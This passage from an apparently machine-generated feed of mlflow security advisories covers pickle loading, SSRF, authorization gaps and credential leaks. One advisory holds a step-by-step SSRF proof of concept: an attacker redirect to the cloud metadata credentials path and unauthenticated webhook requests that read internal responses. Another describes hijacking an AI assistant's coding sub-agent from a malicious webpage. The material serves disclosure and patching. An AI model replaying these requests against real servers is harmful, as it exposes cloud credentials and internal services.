https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/__init__.py#L307-L310\n- https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/__init__.py#L313-L320\n\n---\n\n## Recommended Fix\n\nAdd the missing guard to `mlflow/statsmodels/__init__.py`:\n\n```\nfrom mlflow.environment_variables import MLFLOW_ALLOW_PICKLE_DESERIALIZATION\nfrom mlflow.utils.databricks_utils import (\n    is_in_databricks_model_serving_environment,\n    is_in_databricks_runtime,\n)\n\ndef _load_model(path):\n    if (\n        not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()\n        and not is_in_databricks_runtime()\n        and not is_in_databricks_model_serving_environment()\n    ):\n        raise MlflowException(\n            \"Deserializing model using pickle is disallowed, but this statsmodels \"\n            \"model requires pickle deserialization. Set environment variable \"\n            \"'MLFLOW_ALLOW_PICKLE_DESERIALIZATION' to 'true' to allow this.\"\n        )\n    import statsmodels.iolib.api as smio\n    return smio.load_pickle(path)\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-01T17:04:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-gqvg-gmmx-x4hm","https://github.com/mlflow/mlflow/pull/24686","https://github.com/mlflow/mlflow/commit/38615289094a4b700a20b5d1dbfbe57bdfb0411f","https://github.com/mlflow/mlflow/releases/tag/v3.15.0","https://github.com/advisories/GHSA-gqvg-gmmx-x4hm"],"source_kind":"github","identifiers":["GHSA-gqvg-gmmx-x4hm"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T18:00:09.360Z","updated_at":"2026-10-10T09:01:51.243Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncXZnLWdtbXgteDRobc4ABnVU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ncXZnLWdtbXgteDRobc4ABnVU","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.15.0","vulnerable_version_range":"\u003e= 2.1.0, \u003c 3.15.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncXZnLWdtbXgteDRobc4ABnVU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Z3dwLTVwZnAtOTY5as4ABkXC","url":"https://github.com/advisories/GHSA-7gwp-5pfp-969j","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nSince I don't have a cloud deployment, I placed \"my secret data\" in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:\n\nFollow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting.  The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::\u003cip\u003e (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-17T21:58:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j","https://github.com/mlflow/mlflow/issues/24179","https://github.com/mlflow/mlflow/pull/24258","https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939","https://github.com/mlflow/mlflow/releases/tag/v3.15.0","https://nvd.nist.gov/vuln/detail/CVE-2026-64849","https://github.com/advisories/GHSA-7gwp-5pfp-969j","https://github.com/mlflow/mlflow","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-3687.yaml","https://pypi.org/project/mlflow","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849"],"source_kind":"github","identifiers":["GHSA-7gwp-5pfp-969j","CVE-2026-64849"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T22:00:08.637Z","updated_at":"2026-10-10T09:00:26.221Z","epss_percentage":0.09839,"epss_percentile":0.95388,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Z3dwLTVwZnAtOTY5as4ABkXC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Z3dwLTVwZnAtOTY5as4ABkXC","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.15.0","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.15.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Z3dwLTVwZnAtOTY5as4ABkXC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oN3gyLWg2ZzktcDc4Oc4ABhVz","url":"https://github.com/advisories/GHSA-h7x2-h6g9-p789","title":" MLflow AI Gateway permits SSRF through an unvalidated api_base","description":"MLflow's AI Gateway accepts an auth_config.api_base value when creating a gateway secret (mlflow/server/handlers.py, _create_gateway_secret) with no validation of scheme, host, or IP range; the value is stored verbatim. The gateway proxy endpoint (mlflow/server/gateway_api.py, raw_proxy) subsequently issues an HTTP request to that stored api_base plus a caller-supplied path and returns the full response body. MLflow's existing SSRF guard, _validate_webhook_url (which blocks non-global and metadata IPs), is never invoked anywhere in this gateway secret/proxy code path. The CreateGatewaySecret action additionally has no entry in the permission-validator map, so it requires only basic authentication rather than any specific scope, meaning any authenticated user — including read-only accounts — can create a secret pointing at an internal address and reach it via the proxy endpoint, potentially exposing cloud-instance IAM credentials via metadata services. This is related to CVE-2026-4035, which addresses a distinct mechanism in the same gateway-secret feature (server-side $ENV_VAR resolution inside the api_key field leaking credentials to the configured upstream); the finding here is an independent missing-validation gap in the api_base destination itself, unaffected by that fix.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-05T09:31:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-71211","https://github.com/mlflow/mlflow/tree/v3.14.0/mlflow","https://github.com/mlflow/mlflow/commit/96b7d900e14227e0821981409d86f5fb6c59b386","https://github.com/advisories/GHSA-h7x2-h6g9-p789"],"source_kind":"github","identifiers":["GHSA-h7x2-h6g9-p789","CVE-2026-71211"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-31T20:00:08.133Z","updated_at":"2026-10-10T09:01:51.284Z","epss_percentage":0.0029,"epss_percentile":0.19553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN3gyLWg2ZzktcDc4Oc4ABhVz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oN3gyLWg2ZzktcDc4Oc4ABhVz","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.13.0, \u003c= 3.15.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN3gyLWg2ZzktcDc4Oc4ABhVz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yY202LXI3N3ctNmc5Ns4ABaBh","url":"https://github.com/advisories/GHSA-2cm6-r77w-6g96","title":"MLflow: trace API endpoints lack proper authorization validators","description":"In MLflow versions prior to 3.13.0, when running with authentication enabled, the trace API endpoints lack proper authorization validators. This allows any authenticated user to bypass experiment-level authorization controls on all trace operations, including reading, deleting, and modifying traces on experiments they do not have permission to access. The issue arises from the `_before_request` handler, which does not register authorization validators for trace endpoints, resulting in requests proceeding without validation. This vulnerability can expose sensitive data, destroy audit logs, and allow unauthorized modifications.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-02T09:32:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-8147","https://github.com/mlflow/mlflow/commit/f9b1eb510478570609ef451984a255775aa4b937","https://huntr.com/bounties/b00c3ddd-373e-492f-9bf0-41a28bb21ed5","https://github.com/mlflow/mlflow/pull/23014","https://github.com/mlflow/mlflow/releases/tag/v3.13.0","https://github.com/advisories/GHSA-2cm6-r77w-6g96"],"source_kind":"github","identifiers":["GHSA-2cm6-r77w-6g96","CVE-2026-8147"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-13T19:00:08.488Z","updated_at":"2026-10-10T09:02:12.454Z","epss_percentage":0.00548,"epss_percentile":0.43604,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY202LXI3N3ctNmc5Ns4ABaBh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yY202LXI3N3ctNmc5Ns4ABaBh","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.13.0rc0","vulnerable_version_range":"\u003e= 2.14.0rc0, \u003c 3.13.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY202LXI3N3ctNmc5Ns4ABaBh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cW1wLXAzYzQtNzJxas4ABYCQ","url":"https://github.com/advisories/GHSA-5qmp-p3c4-72qj","title":"MLflow: Deterministic sampling in dataset digest enables predictable collisions","description":"A flaw has been found in MLflow up to 3.10.0. This issue affects the function mlflow.data.digest_utils of the file mlflow/data/digest_utils.py of the component Dataset Digest Computation. This manipulation causes use of weak hash. It is possible to launch the attack on the local host. The attack is considered to have high complexity. The exploitability is assessed as difficult. The exploit has been published and may be used. The project was informed of the problem early through a pull request but has not reacted yet.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-04T12:30:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":1.1,"cvss_vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-10803","https://github.com/mlflow/mlflow/issues/22419","https://github.com/mlflow/mlflow/pull/22420","https://github.com/mlflow/mlflow","https://vuldb.com/cve/CVE-2026-10803","https://vuldb.com/submit/831462","https://vuldb.com/vuln/368252","https://vuldb.com/vuln/368252/cti","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-195.yaml","https://github.com/advisories/GHSA-5qmp-p3c4-72qj"],"source_kind":"github","identifiers":["GHSA-5qmp-p3c4-72qj","CVE-2026-10803"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-15T18:00:09.026Z","updated_at":"2026-10-10T09:03:05.257Z","epss_percentage":0.00103,"epss_percentile":0.01198,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cW1wLXAzYzQtNzJxas4ABYCQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cW1wLXAzYzQtNzJxas4ABYCQ","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.10.1","vulnerable_version_range":"\u003c 3.10.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cW1wLXAzYzQtNzJxas4ABYCQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nMzVwLXB4MzItd2h2Ns4ABX_B","url":"https://github.com/advisories/GHSA-g35p-px32-whv6","title":"MLflow: Environment variable injection in AI Gateway secrets enables server-side credential exfiltration","description":"A vulnerability in mlflow/mlflow versions prior to 3.11.0 allows for the resolution of environment variables in AI Gateway secrets, which can be exploited to exfiltrate sensitive server-side environment credentials to an attacker-controlled endpoint. This issue arises because the `api_key` field in gateway secrets can accept `$ENV_VAR` references, which are resolved against the MLflow server's environment during runtime. The resolved secrets are then sent in provider authentication headers to the configured upstream `api_base`. This vulnerability can be exploited by low-privileged authenticated users in basic-auth deployments or by unauthenticated users in default deployments without `basic-auth`. The impact includes potential leakage of sensitive credentials such as cloud artifact credentials (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`), which could lead to artifact poisoning and cross-boundary code execution in downstream environments. The issue is fixed in version 3.11.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-03T09:30:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-4035","https://github.com/mlflow/mlflow/commit/4a3f2f720cb4f058c9e0c5b883e0acc9ab64a7f3","https://huntr.com/bounties/f8e591a0-0f19-4910-b82e-16c9956f2233","https://access.redhat.com/security/cve/CVE-2026-4035","https://bugzilla.redhat.com/show_bug.cgi?id=2484318","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4035.json","https://github.com/advisories/GHSA-g35p-px32-whv6"],"source_kind":"github","identifiers":["GHSA-g35p-px32-whv6","CVE-2026-4035"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-10T20:00:08.462Z","updated_at":"2026-10-10T09:03:09.685Z","epss_percentage":0.0066,"epss_percentile":0.49526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMzVwLXB4MzItd2h2Ns4ABX_B","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nMzVwLXB4MzItd2h2Ns4ABX_B","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c 3.11.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMzVwLXB4MzItd2h2Ns4ABX_B/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNW05LXdtNDktOTU5Zs4ABX8m","url":"https://github.com/advisories/GHSA-r5m9-wm49-959f","title":"MLflow: Any authenticated user can enumerate all gateway secrets, endpoints, and model definitions","description":"MLflow 3.9.0 with basic-auth (`--app-name basic-auth`) fails to enforce authorization checks for multiple Gateway API 'list' endpoints. Specifically, the `BEFORE_REQUEST_HANDLERS` dictionary in `mlflow/server/auth/__init__.py` does not include entries for `ListGatewaySecretInfos`, `ListGatewayEndpoints`, and `ListGatewayModelDefinitions`. This allows any authenticated user, regardless of their assigned permissions, to enumerate all gateway secrets, endpoints, and model definitions. This vulnerability exposes sensitive information, such as API keys, endpoint configurations, and proprietary model definitions, to unauthorized users.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-02T06:30:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-3198","https://huntr.com/bounties/e57db731-97d3-40c3-a429-831ee959807f","https://github.com/mlflow/mlflow/commit/6989066af33fdcb03588fd71a1a67f8fc5ef12c9","https://github.com/advisories/GHSA-r5m9-wm49-959f"],"source_kind":"github","identifiers":["GHSA-r5m9-wm49-959f","CVE-2026-3198"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-09T21:00:09.083Z","updated_at":"2026-10-10T09:03:11.478Z","epss_percentage":0.00358,"epss_percentile":0.26763,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNW05LXdtNDktOTU5Zs4ABX8m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNW05LXdtNDktOTU5Zs4ABX8m","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.11.0rc0","vulnerable_version_range":"\u003c 3.11.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNW05LXdtNDktOTU5Zs4ABX8m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04YzdxLTg2ZnEtdnZtaM4ABXVv","url":"https://github.com/advisories/GHSA-8c7q-86fq-vvmh","title":"MLflow allows unauthorized access to multipart upload endpoints when the `--serve-artifacts` mode is enabled","description":"A vulnerability in MLflow versions \u003c=3.10.1.dev0 allows unauthorized access to multipart upload (MPU) endpoints when the `--serve-artifacts` mode is enabled. The authorization logic does not enforce resource-level permission checks for `/mlflow-artifacts/mpu/*` endpoints, enabling attackers to overwrite artifacts belonging to other users. This can lead to unauthorized cross-user writes, model supply chain poisoning, and arbitrary code execution when compromised models are loaded. The issue is resolved in version 3.10.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-26T13:30:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2651","https://github.com/mlflow/mlflow/commit/d7290811d8f3c95366d80109424edc1fb1ad966f","https://huntr.com/bounties/65beb119-d3e0-4e03-af2f-fa98f78f83dc","https://access.redhat.com/security/cve/CVE-2026-2651","https://bugzilla.redhat.com/show_bug.cgi?id=2481117","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2651.json","https://github.com/advisories/GHSA-8c7q-86fq-vvmh","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-2220.yaml"],"source_kind":"github","identifiers":["GHSA-8c7q-86fq-vvmh","CVE-2026-2651"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-30T17:00:08.557Z","updated_at":"2026-10-10T09:00:20.751Z","epss_percentage":0.00536,"epss_percentile":0.42733,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzdxLTg2ZnEtdnZtaM4ABXVv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04YzdxLTg2ZnEtdnZtaM4ABXVv","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzdxLTg2ZnEtdnZtaM4ABXVv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NXhxLWM0cGYtZ2hxN84ABXLm","url":"https://github.com/advisories/GHSA-w5xq-c4pf-ghq7","title":"MLflow authenticated users can enumerate any registered model versions due to lack of per-model permissions checks","description":"In mlflow/mlflow versions up to 3.9.0, the `SearchModelVersions` REST API endpoint and the `mlflowSearchModelVersions` GraphQL query lack proper per-model authorization checks when basic authentication is enabled. This allows any authenticated user to enumerate all model versions across all registered models, regardless of their permission level. The issue arises due to the absence of `SearchModelVersions` in the `BEFORE_REQUEST_VALIDATORS` and `AFTER_REQUEST_HANDLERS` for the REST API, and its omission from `GraphQLAuthorizationMiddleware.PROTECTED_FIELDS` for GraphQL. This vulnerability can expose sensitive information such as model names, version descriptions, source URIs, tags, and other metadata, potentially revealing proprietary or confidential details in multi-tenant environments. The issue is resolved in version 3.10.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-21T06:31:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2734","https://github.com/mlflow/mlflow/commit/6989066af33fdcb03588fd71a1a67f8fc5ef12c9","https://huntr.com/bounties/d632f783-b2c7-4a3b-af5e-1d693e841c08","https://github.com/advisories/GHSA-w5xq-c4pf-ghq7"],"source_kind":"github","identifiers":["GHSA-w5xq-c4pf-ghq7","CVE-2026-2734"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-12T16:00:08.485Z","updated_at":"2026-10-10T09:04:23.807Z","epss_percentage":0.00502,"epss_percentile":0.40518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NXhxLWM0cGYtZ2hxN84ABXLm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NXhxLWM0cGYtZ2hxN84ABXLm","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NXhxLWM0cGYtZ2hxN84ABXLm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02N2M1LXg1bWYtcnBwcc4ABXFJ","url":"https://github.com/advisories/GHSA-67c5-x5mf-rppq","title":"MLflow: Improper Origin Validation in MLflow Assistant /ajax-api Endpoints Enables Browser-Mediated Local Command Execution","description":"In MLflow version 3.9.0, the MLflow Assistant feature introduced improper origin validation in its /ajax-api endpoints. This vulnerability allows a remote attacker to exploit cross-origin requests from a malicious webpage to interact with the MLflow Assistant running on a victim's local machine. By bypassing the loopback-only restriction, the attacker can modify the Assistant's configuration to enable full access, which in turn allows the execution of arbitrary commands via the Claude Code sub-agent. This issue is resolved in version 